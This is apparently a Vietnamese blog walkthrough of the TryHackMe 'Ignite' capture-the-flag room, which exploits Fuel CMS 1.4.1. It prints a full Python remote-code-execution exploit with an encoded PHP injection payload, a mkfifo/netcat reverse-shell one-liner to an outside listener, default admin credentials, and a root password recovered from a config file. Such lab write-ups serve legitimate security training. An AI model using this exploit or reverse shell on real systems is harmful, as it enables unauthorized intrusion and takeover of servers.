Một chút Writeup về thử thách Ignite

Tiếp tục seri writeup các thử thách thú vị trên Tryhackme. Thử thách lần này mình writeup cùng các bạn là Ignite.

Một chút Writeup về thử thách Ignite

Một chút Writeup về thử thách Ignite

Nmap

Một chút Writeup về thử thách Ignite 12

Chúng ta có thể thấy hai cổng trong quá trình quét nmap nhưng chỉ có cổng 80 đang mở, cổng còn lại được lọc nên chúng ta có thể bỏ qua nó. Khám phá xem cổng 80 có gì nào.

HTTP

Một chút Writeup về thử thách Ignite 13

Mình nghĩ đây là một loại hệ thống CMS mới vì mình chưa bao giờ thấy nó được sử dụng trong bất kỳ hệ thống dễ bị tấn công nào khác.

Trong quá trình quét nmap, chúng ta có thể thấy rằng file robots.txt có một số mục nhập dữ liệu.

Một chút Writeup về thử thách Ignite 14

Khi mình cố gắng truy cập vào /fuel, thì mình tìm được màn hình đăng nhập này.

Một chút Writeup về thử thách Ignite 15

Do chúng ta không có bất kỳ thông tin đăng nhập nào nên không thể đăng nhập vào trang web, vì vậy chúng ta sẽ cần tìm cách giải quyết nào đó.

Điều mình nghĩ đến là liệu đó có phải là thông tin đăng nhập mặc định không nhỉ? Và mình đã đúng, thông tin đăng nhập là admin:admin, nhưng mình phát hiện là mình không cần đến chúng.

Đổi phương án mới thôi, mình tìm kiếm thông tin về fuel trên searchsploit và tìm thấy RCE cho phiên bản 1.4.1

Một chút Writeup về thử thách Ignite 16

Tiếp theo là tải xuống phần exploit và thay đổi dòng 14 thành URL = “https://ift.tt/3SN8dLn; tức là IP của máy.

Đây là exploit:

import requests
import urllib

URL = "http://10.0.0.130/"


def find_nth_overlapping(haystack, needle, n):
    start = haystack.find(needle)
    while start >= 0 and n > 1:
        start = haystack.find(needle, start+1)
        n -= 1
    return start


while 1:
    xxxx = input('cmd:')
    url = URL+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
    r = requests.get(url)

    html = "<!DOCTYPE html>"
    htmlcharset = r.text.find(html)

    begin = r.text[0:20]
    dup = find_nth_overlapping(r.text,begin,2)

    print(r.text[0:dup])

Chạy exploit và nhập đầu vào.

Một chút Writeup về thử thách Ignite 17

 

LƯU Ý: Đảm bảo lệnh nhập nằm trong “” tức là khi bạn chạy exploit, bạn sẽ phải nhập lệnh bạn muốn thực thi. Ví dụ: Giả sử bạn muốn chạy ls thì phải nhập cmd: “ls” chứ không phải cmd: ls. Chú ý lệnh phải được đặt trong dấu ngoặc kép.

Vì chúng ta đã biết RCE, nên có thể dễ dàng lấy everse shell. Chạy lệnh sau để có được reverse shell:

cmd:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 4444 >/tmp/f"

Lệnh này sẽ cung cấp cho bạn một reverse shell trên listener của bạn sẽ nghe trên cổng 4444 qua nc -nlvp 4444

Một chút Writeup về thử thách Ignite 18

Bây giờ chúng ta có thể lấy flag từ thư mục chính.

Một chút Writeup về thử thách Ignite 19

Leo thang đặc quyền

Vì chúng ta đang ở trong máy victim, nên hãy thử chạy lệnh enum để liệu có thể tìm thấy gì không. Bạn có thể sử dụng wget từ để tải file enum từ hệ thống của bạn vào máy.

Một chút Writeup về thử thách Ignite 20

Sau khi tìm kiếm hơi lâu, thì mình đã tìm thấy mật khẩu root tại: /var/www/html/fuel/application/config/database.php

Một chút Writeup về thử thách Ignite 21

root: mememe

Được rồi, chúng ta vừa tìm thấy mật khẩu cho người dùng root và bây giờ chúng ta có thể thay đổi tài khoản của mình thành root bằng lệnh su.

Một chút Writeup về thử thách Ignite 22

Sau đó, bạn chỉ cần lấy root flag từ /root.

Tổng kết

Ignite là một thử thách khá tốt cho người mới bắt đầu từ @Darkstar và @lollava. Nếu bạn là người mới bắt đầu thì mình khuyên bạn nên chơi thử thử thách Ignite.

Ngoài ra, bạn cũng có thể giải bài Shodan.io trên Tryhackme tại đây.

Previous Post Next Post